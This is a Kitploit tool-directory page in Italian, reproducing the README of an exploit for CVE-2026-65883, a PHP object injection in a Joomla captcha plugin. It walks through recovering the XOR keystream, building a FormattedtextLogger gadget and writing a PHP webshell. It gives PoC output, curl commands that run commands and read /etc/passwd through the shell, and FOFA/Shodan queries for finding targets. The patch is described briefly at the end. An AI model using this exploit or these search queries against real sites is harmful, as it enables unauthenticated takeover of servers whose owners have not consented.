Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-65883 — # Aimy Captcha-Less Form Guard Componente Joomla RCE tramite iniezione di oggetti PHP. Recupero del keystream XOR di clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-65883
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

# Aimy Captcha-Less Form Guard Componente Joomla RCE tramite iniezione di oggetti PHP. Recupero del keystream XOR di clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Vedi Repository
21 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

Campo clfgd → Recupero XOR → unserialize() → FormattedtextLogger → RCE


Panoramica

Iniezione di oggetti PHP non autenticata in Aimy Captcha-Less Form Guard per Joomla. Il metodo onCheckAnswer() decodifica in base64 il campo POST clfgd controllato dall'attaccante, lo passa attraverso uno XOR a chiave ripetuta e passa il risultato direttamente a unserialize() — senza HMAC, senza restrizioni su allowed_classes e senza controllo di integrità.


Versioni Interessate

StatoVersione
Vulnerabile18.0 — 20.0
Corretta20.1 (29 luglio 2026)

Meccanismo della Vulnerabilità

Causa Principale

Il metodo onCheckAnswer() in plg_captcha_aimycaptchalessformguard passa l'input controllato dall'attaccante direttamente a unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

La "crittografia" XOR è un cifrario di Vigenère con una chiave per sessione — nessuna autenticazione, solo offuscamento.

La Crittografia Rotta

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Recupero del Keystream

Il plugin renderizza sia il testo cifrato che il testo in chiaro nella stessa risposta HTML:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Poiché sia trap_ids (estrattabile dallo <span id="..._mark"> e dall'input honeypot) sia il testo cifrato sono nell'HTML, applicando XOR si recuperano ~94 byte del keystream di 231 byte.

Flusso dell'Attacco

  1. GET su qualsiasi modulo protetto da captcha (registrazione, login, contatto, reset password)
  2. Estrai testo cifrato clfgd + trap_ids + timing → recupera 94 byte del keystream
  3. Allinea un oggetto serializzato FormattedtextLogger in modo che i byte strutturali cadano su posizioni note del keystream
  4. POST di clfgd manipolato → unserialize() → __destruct() → formatLine() → scrive una webshell PHP
  5. GET /random.php?c=id → RCE come www-data

Prova di Concetto

Target Singolo

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Sfruttamento Manuale

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

La Correzione (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() non può istanziare oggetti PHP — la catena di gadget POP è interrotta.


Impatto

  • RCE completa — esegue comandi arbitrari come www-data
  • Nessuna autenticazione richiesta — qualsiasi modulo pubblico con captcha è un vettore
  • Joomla 3.9–5.2.1 — il gadget FormattedtextLogger funziona su tutte le versioni
  • Persistente — la webshell rimane finché non viene eliminata manualmente

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di sicurezza educativi e autorizzati. Utilizzalo solo su sistemi di tua proprietà o per i quali hai il permesso esplicito di testare.


Riferimenti


Non affiliato con Aimy Extensions o VulnCheck.

Scarica lo strumento
CampoDettaglio
CVECVE-2026-65883
ProdottoAimy Captcha-Less Form Guard (plugin Joomla)
CVSS 4.010.0 (Critico)
TipoCWE-502 — Deserializzazione di dati non attendibili
Versioni interessate18.0 — 20.0
Corretta20.1 (29 luglio 2026)
ScopertaValentin Lobstein (Chocapikk) / VulnCheck — 26 luglio 2026
RisorsaLink
VulnCheck Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
CVE Recordcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883